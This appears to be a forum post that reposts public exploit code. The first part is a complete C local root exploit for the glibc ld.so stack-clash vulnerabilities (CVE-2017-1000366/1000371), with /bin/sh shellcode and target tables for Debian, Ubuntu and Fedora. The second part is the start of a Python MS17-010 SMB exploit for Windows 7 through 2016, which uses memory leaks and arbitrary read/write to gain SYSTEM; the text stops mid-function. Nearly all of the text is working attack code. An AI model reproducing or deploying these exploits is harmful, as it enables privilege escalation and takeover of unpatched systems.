  8. /* * Linux_ldso_dynamic.c for CVE-2017-1000366, CVE-2017-1000371 * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #define _GNU_SOURCE #include <elf.h> #include <fcntl.h> #include <limits.h> #include <link.h> #include <signal.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/param.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #define PAGESZ ((size_t)4096) #define ALIGN ((size_t)16) #define PIE_BASE ((uintptr_t)0x80000000) #define PIE_RAND ((size_t)1<<20) #define STACK_BASE ((uintptr_t)0xC0000000) #define STACK_RAND ((size_t)8<<20) #define MAX_ARG_STRLEN ((size_t)128<<10) static const struct target * target; static const struct target { const char * name; const char * repl_lib; } targets[] = { { .name = "Debian 9 (stretch)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Debian 10 (buster)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Ubuntu 14.04.5 (Trusty Tahr)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Ubuntu 16.04.2 (Xenial Xerus)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Ubuntu 17.04 (Zesty Zapus)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Fedora 23 (Server Edition)", .repl_lib = "lib", }, { .name = "Fedora 24 (Server Edition)", .repl_lib = "lib", }, { .name = "Fedora 25 (Server Edition)", .repl_lib = "lib", }, }; #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const ElfW(auxv_t) * my_auxv; static unsigned long int my_getauxval (const unsigned long int type) { const ElfW(auxv_t) * p; if (!my_auxv) die(); for (p = my_auxv; p->a_type != AT_NULL; p++) if (p->a_type == type) return p->a_un.a_val; die(); } struct elf_info { uintptr_t map_start, map_end; uintptr_t dyn_start, dyn_end; }; static struct elf_info get_elf_info(const char * const binary) { static struct elf_info elf; const int fd = open(binary, O_RDONLY | O_NOFOLLOW); if (fd <= -1) die(); struct stat st; if (fstat(fd, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_size <= 0) die(); #define SAFESZ ((size_t)64<<20) if (st.st_size >= (ssize_t)SAFESZ) die(); const size_t size = st.st_size; uint8_t * const buf = malloc(size); if (!buf) die(); if (read(fd, buf, size) != (ssize_t)size) die(); if (close(fd)) die(); if (size <= sizeof(ElfW(Ehdr))) die(); const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf; if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die(); if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die(); if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die(); if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die(); if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die(); if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die(); if (ehdr->e_type != ET_DYN) die(); if (ehdr->e_machine != EM_386) die(); if (ehdr->e_version != EV_CURRENT) die(); if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die(); if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die(); if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die(); if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die(); if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die(); if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die(); if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die(); unsigned int i; { int interp = 0; for (i = 0; i < ehdr->e_phnum; i++) { const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i; if (phdr->p_type == PT_INTERP) interp = 1; if (phdr->p_type != PT_LOAD) continue; if (elf.map_start) die(); if (phdr->p_offset >= size) die(); if (phdr->p_filesz > size - phdr->p_offset) die(); if (phdr->p_filesz > phdr->p_memsz) die(); if (phdr->p_vaddr != phdr->p_paddr) die(); if (phdr->p_vaddr >= SAFESZ) die(); if (phdr->p_memsz >= SAFESZ) die(); if (phdr->p_memsz <= 0) die(); if (phdr->p_align != PAGESZ) die(); switch (phdr->p_flags) { case PF_R | PF_X: if (phdr->p_vaddr) die(); break; case PF_R | PF_W: elf.map_start = phdr->p_vaddr & ~(PAGESZ-1); elf.map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1); if (!elf.map_start) die(); break; default: die(); } } if (!interp) die(); if (!elf.map_start) die(); } for (i = 0; i < ehdr->e_shnum; i++) { const ElfW(Shdr) * const shdr = (const ElfW(Shdr) *)(buf + ehdr->e_shoff) + i; if (!(shdr->sh_flags & SHF_ALLOC)) continue; if (shdr->sh_size <= 0) die(); if (shdr->sh_size >= SAFESZ) die(); if (shdr->sh_addr >= SAFESZ) die(); #undef SAFESZ const uintptr_t start = shdr->sh_addr; const uintptr_t end = start + shdr->sh_size; if (!(shdr->sh_flags & SHF_WRITE)) { if (start < elf.map_end && end > elf.map_start) die(); continue; } if (start < elf.map_start || end > elf.map_end) die(); if (shdr->sh_type != SHT_DYNAMIC) continue; if (shdr->sh_entsize != sizeof(ElfW(Dyn))) die(); if (elf.dyn_start) die(); elf.dyn_start = start; elf.dyn_end = end; if (!elf.dyn_start) die(); } if (!elf.dyn_start) die(); free(buf); return elf; } static void create_needed_lib(const char * const needed) { static struct lib { union { struct { ElfW(Ehdr) e; ElfW(Phdr) p1; ElfW(Phdr) p2; ElfW(Phdr) p3; } h; char align[PAGESZ]; } u; char code1[PAGESZ]; char code3[PAGESZ]; char code2[8<<20]; } lib = { .u = { .h = { .e = { .e_ident = { ELFMAG0, ELFMAG1, ELFMAG2, ELFMAG3, ELFCLASS32, ELFDATA2LSB, EV_CURRENT, ELFOSABI_SYSV, 0 }, .e_type = ET_DYN, .e_machine = EM_386, .e_version = EV_CURRENT, .e_phoff = offsetof(struct lib, u.h.p1), .e_ehsize = sizeof(ElfW(Ehdr)), .e_phentsize = sizeof(ElfW(Phdr)), .e_phnum = 3 }, .p1 = { .p_type = PT_LOAD, .p_offset = offsetof(struct lib, code1), .p_vaddr = 0, .p_filesz = sizeof(lib.code1), .p_memsz = sizeof(lib.code1), .p_flags = PF_R | PF_X, .p_align = PAGESZ }, .p2 = { .p_type = PT_LOAD, .p_offset = offsetof(struct lib, code2), .p_vaddr = -(sizeof(lib.code2) + PAGESZ), .p_filesz = sizeof(lib.code2), .p_memsz = sizeof(lib.code2), .p_flags = PF_R | PF_X, .p_align = PAGESZ }, .p3 = { .p_type = PT_LOAD, .p_offset = offsetof(struct lib, code3), .p_vaddr = sizeof(lib.code1), .p_filesz = sizeof(lib.code3), .p_memsz = sizeof(lib.code3), .p_flags = PF_R | PF_X, .p_align = PAGESZ } }}}; static const char shellcode[] = "\x83\xc4\x40\xb8\x17\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8" "\x2e\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00" "\xbb\x00\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00" "\x00\xbb\x00\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00" "\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xba\x00" "\x00\x00\x00\x52\x53\x89\xe1\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00" "\x00\x00\x00\xcd\x80"; memset(lib.code2, 0x90, sizeof(lib.code2)); if (sizeof(lib.code2) <= sizeof(shellcode)) die(); memcpy(lib.code2 + sizeof(lib.code2) - sizeof(shellcode), shellcode, sizeof(shellcode)); const int fd = open(needed, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0); if (fd <= -1) die(); if (write(fd, &lib, sizeof(lib)) != (ssize_t)sizeof(lib)) die(); if (fchmod(fd, 0755)) die(); if (close(fd)) die(); } static const char my_x86_platforms[4][5] = { "i386", "i486", "i586", "i686" }; int main(const int my_argc, const char * const my_argv[], const char * const my_envp[]) { { const char * const * p = my_envp; while (*p++) ; my_auxv = (const void *)p; } if (my_getauxval(AT_PAGESZ) != PAGESZ) die(); if (my_argc != 1+2) { printf("Usage: %s target binary\n", my_argv[0]); size_t i; for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) { printf("Target %zu %s\n", i, targets[i].name); } die(); } { const size_t i = strtoul(my_argv[1], NULL, 10); if (i >= sizeof(targets)/sizeof(*targets)) die(); target = targets + i; printf("Target %zu %s\n", i, target->name); } const char * const binary = realpath(my_argv[2], NULL); if (!binary) die(); if (*binary != '/') die(); if (access(binary, R_OK | X_OK)) die(); const struct elf_info elf = get_elf_info(binary); printf("map_start -> dyn_end = %u\n", elf.dyn_end - elf.map_start); printf("dyn_start -> dyn_end = %u\n", elf.dyn_end - elf.dyn_start); printf("dyn_start -> map_end = %u\n", elf.map_end - elf.dyn_start); printf("dyn_end -> map_end = %u\n", elf.map_end - elf.dyn_end); const char * const slash = strrchr(binary, '/'); if (!slash) die(); if (slash <= binary) die(); const char * const origin = strndup(binary, slash - binary); if (!origin) die(); printf("origin %s (%zu)\n", origin, strlen(origin)); const char * const platform = (const void *)my_getauxval(AT_PLATFORM); if (!platform) die(); const size_t platform_len = strlen(platform); if (platform_len != 4) die(); { size_t i; for (i = 0; ; i++) { if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die(); if (strcmp(platform, my_x86_platforms[i]) == 0) break; } } const struct { const char * str; size_t len; size_t repl_len; } DSTs[] = { #define DST_LIB "LIB" { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) }, #define DST_PLATFORM "PLATFORM" { DST_PLATFORM, strlen(DST_PLATFORM), platform_len } }; size_t repl_max = strlen(origin); { size_t i; for (i = 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) { if (repl_max < DSTs[i].repl_len) repl_max = DSTs[i].repl_len; } } printf("repl_max %zu\n", repl_max); if (repl_max < 4) die(); static struct { double probability; size_t len, gwr, cnt, dst; } best; #define LLP "LD_LIBRARY_PATH=" static char llp[MAX_ARG_STRLEN]; #define MAX_GWR (sizeof(llp) - sizeof(LLP)) { size_t len; for (len = MAX_GWR; len >= ALIGN; len -= ALIGN) { size_t gwr; for (gwr = len; gwr >= elf.dyn_end - elf.dyn_start; gwr--) { size_t dst; for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) { const size_t cnt = (len - gwr) / (1 + DSTs[dst].len + 1); const size_t gpj = (len + ((repl_max > 4) ? (cnt * (repl_max - 4)) : 0) + 1 + (ALIGN-1)) & ~(ALIGN-1); const size_t bwr = cnt * (DSTs[dst].repl_len + 1) + ((len - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1; if (gwr + bwr >= elf.map_end - elf.dyn_start) continue; const size_t min = MIN(gwr, elf.dyn_end - elf.map_start); if (gpj <= min + (elf.map_end - elf.dyn_end) + 3 * PAGESZ) continue; const double probability = (double)min / (double)(PIE_RAND + STACK_RAND); if (best.probability < probability) { best.probability = probability; best.len = len; best.gwr = gwr; best.cnt = cnt; best.dst = dst; printf("len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g)\n", len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len, (size_t)(1 / probability), probability); } } } } } if (!best.probability) die(); if (STACK_BASE <= PIE_BASE) die(); const size_t stack_size = (STACK_BASE - PIE_BASE) - (PIE_RAND/2 + elf.map_end + STACK_RAND/2); printf("stack_size %zu\n", stack_size); #define STRTAB_SIZE (2 * STACK_RAND) #define NEEDED "./3456789abcdef" if (sizeof(NEEDED) != ALIGN) die(); static union { uintptr_t p; char s[sizeof(void *)]; } strtab_addr; { static const ElfW(Dyn) dyn; if (sizeof(strtab_addr) != sizeof(dyn.d_un)) die(); if (sizeof(strtab_addr.p) != sizeof(dyn.d_un)) die(); if (sizeof(strtab_addr.s) != sizeof(dyn.d_un)) die(); } { uintptr_t needed_addr = STACK_BASE - STACK_RAND/2 - STRTAB_SIZE/2; const uintptr_t first_needed_addr = needed_addr; for (;; needed_addr += sizeof(NEEDED)) { if (needed_addr % sizeof(NEEDED)) die(); strtab_addr.p = needed_addr / 2; size_t i; for (i = 0; i < sizeof(strtab_addr.s); i++) { if (strchr("$:;\\", strtab_addr.s[i])) { if (i >= 3) die(); break; } } if (i >= sizeof(strtab_addr.s)) break; } printf("needed %08x -> %08x (first %08x -> %08x)\n", needed_addr, strtab_addr.p, first_needed_addr, needed_addr - first_needed_addr); if (needed_addr < first_needed_addr) die(); if (needed_addr - first_needed_addr >= STACK_RAND / 4) die(); } #define INITIAL_STACK_EXPANSION (131072UL) const size_t needed_envs = STRTAB_SIZE / sizeof(NEEDED); if (needed_envs < INITIAL_STACK_EXPANSION / sizeof(char *)) die(); static char clash[MAX_ARG_STRLEN]; memset(clash, ' ', sizeof(clash)-1); if ((strlen(clash) + 1) % ALIGN) die(); const size_t clash_envs = (stack_size - sizeof(llp) - needed_envs * (sizeof(char *) + sizeof(NEEDED))) / (sizeof(char *) + sizeof(clash)); printf("#needed %zu #clash %zu\n", needed_envs, clash_envs); { char * cp = mempcpy(llp, LLP, sizeof(LLP)-1); memset(cp, '/', best.len); const char * const bwrp = cp + best.gwr; cp += elf.dyn_start % ALIGN; if (cp >= bwrp) die(); { static const ElfW(Dyn) dyn; for (; bwrp - cp >= (ptrdiff_t)sizeof(dyn); cp += sizeof(dyn)) { ElfW(Dyn) * const dynp = (void *)cp; dynp->d_tag = DT_AUXILIARY; dynp->d_un.d_ptr = strtab_addr.p; } } if (cp > bwrp) die(); cp = (char *)bwrp; if (!best.cnt) die(); if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die(); size_t i; for (i = 0; i < best.cnt; i++) { *cp++ = '$'; cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len); *cp++ = '/'; } if (cp >= llp + sizeof(llp)) die(); if ((strlen(llp) + 1) % ALIGN) die(); if ((strlen(llp) + 1) != sizeof(LLP) + best.len) die(); } #define LHCM "LD_HWCAP_MASK=" static char lhcm[64]; { const int width = ALIGN - (sizeof(LHCM) + strlen(binary) + 1 + sizeof(void *)) % ALIGN; if (width <= 0) die(); if ((unsigned int)width > ALIGN) die(); if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%0*u", LHCM, width, 0) >= sizeof(lhcm)) die(); if (strlen(lhcm) + 1 != sizeof(LHCM) + width) die(); } const size_t args = 2 + clash_envs + needed_envs + 1; char ** const argv = calloc(args, sizeof(char *)); if (!argv) die(); { char ** ap = argv; *ap++ = (char *)binary; *ap++ = "--help"; size_t i; for (i = 0; i < clash_envs; i++) { *ap++ = clash; } for (i = 0; i < needed_envs; i++) { *ap++ = NEEDED; } *ap++ = NULL; if (ap != argv + args) die(); } const size_t envs = 1 + 2; char ** const envp = calloc(envs, sizeof(char *)); if (!envp) die(); { char ** ep = envp; *ep++ = llp; *ep++ = lhcm; *ep++ = NULL; if (ep != envp + envs) die(); } { static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY }; if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die(); } int pipefd[2]; if (pipe(pipefd)) die(); if (close(pipefd[0])) die(); pipefd[0] = -1; if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die(); create_needed_lib(NEEDED); size_t try; for (try = 1; try <= 65536; try++) { if (fflush(stdout)) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { if (dup2(pipefd[1], 1) != 1) die(); if (dup2(pipefd[1], 2) != 2) die(); execve(*argv, argv, envp); die(); } int status = 0; struct timeval start, stop, diff; if (gettimeofday(&start, NULL)) die(); if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (gettimeofday(&stop, NULL)) die(); timersub(&stop, &start, &diff); printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec); if (WIFSIGNALED(status)) { printf("signal %d\n", WTERMSIG(status)); switch (WTERMSIG(status)) { case SIGPIPE: case SIGSEGV: case SIGBUS: break; default: die(); } } else if (WIFEXITED(status)) { printf("exited %d\n", WEXITSTATUS(status)); } else if (WIFSTOPPED(status)) { printf("stopped %d\n", WSTOPSIG(status)); die(); } else { printf("unknown %d\n", status); die(); } } die(); } Sursa: https://www.exploit-db.com/exploits/42276/
  9. #!/usr/bin/python from impacket import smb, smbconnection from mysmb import MYSMB from struct import pack, unpack, unpack_from import sys import socket import time ''' MS17-010 exploit for Windows 7+ by sleepya Note: - The exploit should never crash a target (chance should be nearly 0%) - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed Tested on: - Windows 2016 x64 - Windows 2012 R2 x64 - Windows 8.1 x64 - Windows 2008 R2 SP1 x64 - Windows 7 SP1 x64 - Windows 8.1 x86 - Windows 7 SP1 x86 ''' USERNAME = '' PASSWORD = '' ''' Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() win7 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; PACCESS_TOKEN Token; // 0x08 DWORD xx2; BOOLEAN CopyOnOpen; // 0x14 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x18 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x20 } win2012 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; QWORD xx2; QWORD xx3; PACCESS_TOKEN Token; // 0x18 DWORD xx4; BOOLEAN CopyOnOpen; // 0x24 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x28 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x30 } SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns STATUS_SUCCESS when Token is NULL. If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) to do all SMB operations. Note: fake Token might be possible, but NULL token is much easier. ''' WIN7_INFO = { 'SESSION_SECCTX_OFFSET': 0xa0, 'SESSION_ISNULL_OFFSET': 0xba, 'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x28, } WIN7_32_INFO = { 'SESSION_SECCTX_OFFSET': 0x80, 'SESSION_ISNULL_OFFSET': 0x96, 'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x1c, } # win8+ info WIN8_INFO = { 'SESSION_SECCTX_OFFSET': 0xb0, 'SESSION_ISNULL_OFFSET': 0xca, 'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x38, } WIN8_32_INFO = { 'SESSION_SECCTX_OFFSET': 0x88, 'SESSION_ISNULL_OFFSET': 0x9e, 'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x24, } X86_INFO = { 'PTR_SIZE' : 4, 'PTR_FMT' : 'I', 'FRAG_TAG_OFFSET' : 12, 'POOL_ALIGN' : 8, 'SRV_BUFHDR_SIZE' : 8, 'TRANS_SIZE' : 0xa0, # struct size 'TRANS_FLINK_OFFSET' : 0x18, 'TRANS_INPARAM_OFFSET' : 0x40, 'TRANS_OUTPARAM_OFFSET' : 0x44, 'TRANS_INDATA_OFFSET' : 0x48, 'TRANS_OUTDATA_OFFSET' : 0x4c, 'TRANS_FUNCTION_OFFSET' : 0x72, 'TRANS_MID_OFFSET' : 0x80, } X64_INFO = { 'PTR_SIZE' : 8, 'PTR_FMT' : 'Q', 'FRAG_TAG_OFFSET' : 0x14, 'POOL_ALIGN' : 0x10, 'SRV_BUFHDR_SIZE' : 0x10, 'TRANS_SIZE' : 0xf8, # struct size 'TRANS_FLINK_OFFSET' : 0x28, 'TRANS_INPARAM_OFFSET' : 0x70, 'TRANS_OUTPARAM_OFFSET' : 0x78, 'TRANS_INDATA_OFFSET' : 0x80, 'TRANS_OUTDATA_OFFSET' : 0x88, 'TRANS_FUNCTION_OFFSET' : 0xb2, 'TRANS_MID_OFFSET' : 0xc0, } def wait_for_request_processed(conn): #time.sleep(0.05) # send echo is faster than sleep(0.05) when connection is very good conn.send_echo('a') special_mid = 0 extra_last_mid = 0 def reset_extra_mid(conn): global extra_last_mid, special_mid special_mid = (conn.next_mid() & 0xff00) - 0x100 extra_last_mid = special_mid def next_extra_mid(): global extra_last_mid extra_last_mid += 1 return extra_last_mid # Borrow 'groom' and 'bride' word from NSA tool # GROOM_TRANS_SIZE includes transaction name, parameters and data GROOM_TRANS_SIZE = 0x5010 def calc_alloc_size(size, align_size): return (size + align_size - 1) & ~(align_size-1) def leak_frag_size(conn, tid, fid, info): # A "Frag" pool is placed after the large pool allocation if last page has some free space left. # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version. # To make exploit more generic, exploit does info leak to find a "Frag" pool size. # From the leak info, we can determine the target architecture too. mid = conn.next_mid() req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4) req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes conn.send_raw(req1[:-8]) conn.send_raw(req1[-8:]+req2) leakData = conn.recv_transaction_data(mid, 0x10d0+276) leakData = leakData[0x10d4:] # skip parameters and its own input if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': print('Target is 32 bit') if info['SESSION_SECCTX_OFFSET'] == WIN7_INFO['SESSION_SECCTX_OFFSET']: info.update(WIN7_32_INFO) elif info['SESSION_SECCTX_OFFSET'] == WIN8_INFO['SESSION_SECCTX_OFFSET']: info.update(WIN8_32_INFO) else: print('The exploit does not support this 32 bit target') sys.exit() info.update(X86_INFO) elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': print('Target is 64 bit') info.update(X64_INFO) else: print('Not found Frag pool tag in leak data') sys.exit() # Calculate frag pool size info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN'] print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE'])) # groom: srv buffer header info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN']) print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE'])) # groom paramters and data is alignment by 8 because it is NT_TRANS info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE'] # empty transaction name (4), alignment (4) # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4) bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE'] info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN']) print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE'])) # bride paramters and data is alignment by 4 because it is TRANS info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE'] # empty transaction name (4) return info['FRAG_POOL_SIZE'] def align_transaction_and_leak(conn, tid, fid, info, numFill=4): trans_param = pack('<HH', fid, 0) # param for NT_RENAME # fill large pagedpool holes (maybe no need) for i in range(numFill): conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0) mid_ntrename = conn.next_mid() req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0) req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000) reqs = [] for i in range(12): mid = next_extra_mid() reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0)) conn.send_raw(req1[:-8]) conn.send_raw(req1[-8:]+req2+req3+''.join(reqs)) # expected transactions alignment ("Frag" pool is not shown) # # | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE | # +-------------------------------+----------------+-------------------------------+----------------+ # | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 | # +-------------------------------+----------------+-------------------------------+----------------+ # # If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked. # From leaked transaction, we get # - leaked transaction address from InParameter or InData # - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink # With these information, we can verify the transaction aligment from displacement. leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276) leakData = leakData[0x10d4:] # skip parameters and its own input #open('leak.dat', 'wb').write(leakData) if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag': print('Not found Frag pool tag in leak data') return None # ================================ # verify leak data # ================================ leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:] # check pool tag and size value in buffer header expected_size = pack('<H', info['BRIDE_TRANS_SIZE']) leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size: print('No transaction struct in leak data') return None leakTrans = leakData[leakTransOffset:] ptrf = info['PTR_FMT'] _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8) inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0] leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0] print('CONNECTION: 0x{:x}'.format(connection_addr)) print('SESSION: 0x{:x}'.format(session_addr)) print('FLINK: 0x{:x}'.format(flink_value)) print('InParam: 0x{:x}'.format(inparam_value)) print('MID: 0x{:x}'.format(leak_mid)) next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000 if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value: print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr)) return None # trans1: leak transaction # trans2: next transaction return { 'connection': connection_addr, 'session': session_addr, 'next_page_addr': next_page_addr, 'trans1_mid': leak_mid, 'trans1_addr': inparam_value - info['TRANS_SIZE'] - 4, 'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'], 'special_mid': special_mid, } def read_data(conn, info, read_addr, read_size): fmt = info['PTR_FMT'] # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data # modify trans2.*ParameterCount and trans2.*DataCount to limit data new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME) conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET']) # create one more transaction before leaking data # - next transaction can be used for arbitrary read/write after the current trans2 is done # - next transaction address is from TransactionListEntry.Flink value conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000) # finish the trans2 to leak conn.send_nt_trans_secondary(mid=info['trans2_mid']) read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size) # set new trans2 address info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET'] # set trans1.InData to &trans2 conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # modify trans2 mid conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) wait_for_request_processed(conn) return read_data[8:] # no need to return parameter def write_data(conn, info, write_addr, write_data): # trans2.InData conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), 